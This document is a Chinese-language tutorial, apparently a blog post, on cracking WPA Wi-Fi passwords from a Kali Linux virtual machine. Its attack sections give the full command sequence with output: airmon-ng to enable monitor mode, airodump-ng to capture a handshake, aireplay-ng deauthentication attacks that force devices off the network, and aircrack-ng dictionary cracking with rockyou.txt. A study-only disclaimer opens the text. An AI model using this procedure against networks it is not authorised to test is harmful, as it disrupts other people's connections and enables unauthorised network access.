声明:此文章仅供研究学习和技术交流,请勿用于破解他人 WIFI 密码!违反法律,一切后果自负!
一.准备工作
1. 硬件准备
- 无线网卡:一般笔记本自带的无线网卡不支持监听模式,所以要使用一个外置的无线网卡,这里推荐购买3070或者8187芯片的外置USB无线网卡,8187L芯片是一种内含集成电路的硅片,是一种大功率无线网卡的首脑部分,常被用做“蹭网卡”芯片。具有体积小,辐射大,使用价值高等特点。
2. 软件准备
- 操作系统: https://www.kali.org/downloads/ ,在kail linux上载最新的镜像,kail linux中自带很多工具
- 虚拟机软件:vmware或virtualbox
二.安装kail linux
1.在vmare中创建虚拟这步就省略,网络连接桥接和NAT都可以,只是稍微提注意的是版本选择是先debian,和在显示器可以调整开启“加速3D图形”,图形内存改成 “1G”,这是为了以后能使用GPU破解wifi密码做的准备
2. kail linux的过程也是比较长,可以参考官方文档的https://docs.kali.org/installation/kali-linux-hard-disk-install
三.kail linux上的基本配置
1. 检查下kail linux的版本
root@kail:~# lsb_release -a No LSB modules are available. Distributor ID: Kali Description: Kali GNU/Linux Rolling Release: kali-rolling Codename: kali-rolling
注释: Kali虽然是基于Debian的一个linux版本,但它却不同于Debian7,8,9等这些版本,并且和以前采用的测试方法也不同。不再采用那些,有时被认为是全新的,主流的,有时又是过时的循环软件测试。Kali Rolling是Debian的即时更新版,只要Debian中有更新,更新包就会放入Kali Rolling中,供用户下载使用。它为提用户提供了一个稳定更新的版本,同时会带有最新的更新安装包。在过去的5个月中,只要是对该工具进行了更新,系统都会在第一时间自动发出通知,这是Kali Rolling的一大特色。并且确保了Kali Rolling工具库中的监控工具总是维持在最新版本,为用户的使用提供了很大的便利。
2.更新系统的安装源
root@kail:~# vim /etc/apt/sources.list #ustc deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #aliyun deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
3.更新系统,注意使用的时间比较长,而且如果更新没完成,可以会导致以下操作中有些工具无法使用
root@kail:~# apt-get update && apt-get upgrade && apt-get dist-upgrade 报错处理: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable) E: Unable to lock the administration di 解决方案: 其实这是因为有另外一个程序在运行,导致锁不可用。原因可能是上次运行更新或安装没有正常完成。解决办法是杀死此进程 sudo rm /var/cache/apt/archives/lock sudo rm /var/lib/dpkg/lock 但是这样不能解决问题:可能还会出现问题,解决方案: 1,sudo dpkg --configure -a 2,sudo apt-get update
4.安装vmwaretools,完成后并重启系统
- 先把虚拟机的镜像弹出,设置到CD/DVD进行自动检测,
- 安装linux的内核头文件
root@kail:~# apt-get install linux-headers-$(uname -r)
- 加载vmware-tools: vmware ----> 点击导航中的虚拟机---->安装VMware Tools(T)
- 安装vmware tools,以下是针对个人情况,可以参考vm官方文档
#点击安装的按钮后,软件会自动挂载 root@kail:~# mount /dev/sr0 on /media/cdrom0 type iso9660 (ro,nosuid,nodev,noexec,relatime,nojoliet,check=s,map=n,blocksize=2048,user) root@kail:~# ls /media/cdrom0/ manifest.txt VMwareTools-10.0.5-3228253.tar.gz vmware-tools-upgrader-64 run_upgrader.sh vmware-tools-upgrader-32 #把tool拷贝到自己的目录下 root@kail:~# cp /media/cdrom0/VMwareTools-10.0.5-3228253.tar.gz /home/ root@kail:~# cd /home/ #解压安装 root@kail:/home# tar xf VMwareTools-10.0.5-3228253.tar.gz root@kail:/home# cd vmware-tools-distrib/ root@kail:/home/vmware-tools-distrib# ./vmware-install.pl Enjoy, --the VMware team Found VMware Tools CDROM mounted at /media/cdrom0. Ejecting device /dev/sr0 ...
5.接入8187无线网卡(这步可以事先做好)
- 插入计算机后,系统会自动安装驱动,如找不到相应的驱动需要自行上网下载
- vmware右下方会出现一个USB形状的图标,选择连接8187(或者导航中的虚拟机--》可移动设备),确保以上都能操作好,否则可以没法显示无线网卡
四.抓取wifi的数据包
1.检查无线网卡的状态(确保可以显示wlan0)
root@kail:~# iwconfig lo no wireless extensions. eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off 注:此时wlan0是manged模式
2. 开启wlan0的监控模式
root@kail:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run ‘airmon-ng check kill‘ PID Name 484 NetworkManager 523 dhclient 717 wpa_supplicant PHY Interface Driver Chipset phy0 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)
3.监听周围的无线
root@kail:~# airodump-ng wlan0mon
注:这里li是自己路由器,把BSSID和频道(CH)号,ESSID记录下来
4.使用无线网卡抓取握手包。所谓握手包,就是包含密码的包,当有新用户或断开用户自动连接wifi时,会发送握手包。
root@kail:~# airodump-ng -c 9 --bssid B0:48:7A:??:??:?? -w ~/test wlan0mon -c指定频道号 bssid指定路由器bssid w指定抓取的数据包保存位置,~/test表示存在root/目录下,并且包的名称以test-xx.cap的格式储存。
5.设法让设备重新连接wifi,直接出现WPA handshake为止
两条命令一样: root@kail:~# aireplay-ng -0 10 -a B0:48:7A:??:??:?? -c 4C:34:88:??:??:?? wlan0mon root@kail:~# aireplay-ng -0 5 -a B0:48:7A:??:??:?? wlan0mon (两个命令都可以,可能要多试几次) 0表示发起deauthentication攻击 10代表攻击10次 a指定无线路由器BSSID,也就是路由器的MAC地址 c指定强制断开的设备,也就是STATION的MAC地址 注:这里需要使用重新连接,但是一般情况下等待比较长,因为自身就是设备,可以让设备自行下线,起deauthentication攻击,然后抓取它的握手包.aireplay-ng的工具,它可以强制用户断开wifi连接,具体方法是:给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后设备会再次连接wifi,这样我们就能顺利而快速的抓到握手包了。
6.关闭无线网卡监听模式(抓取到握手包后)
root@kail:~# airmon-ng stop wlan0mon
五.使用kail linux自带工具破解
1.解压kail linux自带密码字典(注意: 无线的密码有可能在字典中找不到)
root@kail:~# gzip -d /usr/share/wordlists/rockyou.txt.gz
2.分析破解握手包中的密码
root@kail:~# aircrack-ng -a2 -b B0:48:??:??:???? -w /usr/share/wordlists/rockyou.txt ~/test-01.cap 参数解释: a2代表WPA的握手包 b指定要破解的wifi BSSID。 w指定字典文件 最后是抓取的包路径
3. 以下的破解的过程,花费了三个多小时,最终没有破解成功